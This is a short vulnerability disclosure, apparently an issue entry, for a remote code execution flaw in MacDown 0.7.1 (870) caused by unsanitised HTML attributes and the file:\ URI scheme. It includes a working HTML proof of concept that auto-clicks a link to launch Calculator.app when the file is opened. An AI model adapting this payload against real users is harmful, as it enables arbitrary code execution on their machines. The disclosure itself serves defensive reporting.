help wantedon hold
仓库指标
- 星标
- (7,686 个星标)
- PR 合并指标
- (PR 指标待抓取)
描述
Macdown Version 0.7.1 (870) Remote Code Execution
Macdown version 0.7.1 (870) is affected by a remote code execution vulnerability. Macdown fails to sanitize input on HTML attributes. Abusing thefile:\\ URI scheme on HTML attributes can result in arbitrary code execution. The attached proof of concept will execute the MacOS Calculator.app when opened inside of Macdown.
PoC (PoC.md):
<!DOCTYPE html>
<html>
<body>
<a href="file:\\\Applications\Calculator.app" id=exploit download>
<img src="/images/exploit.jpg" alt="exploit" width="104" height="142">
</a>
<script>
(function download() {
document.getElementById('exploit').click();
})()
</script>
</body>
</html>
Screenshot: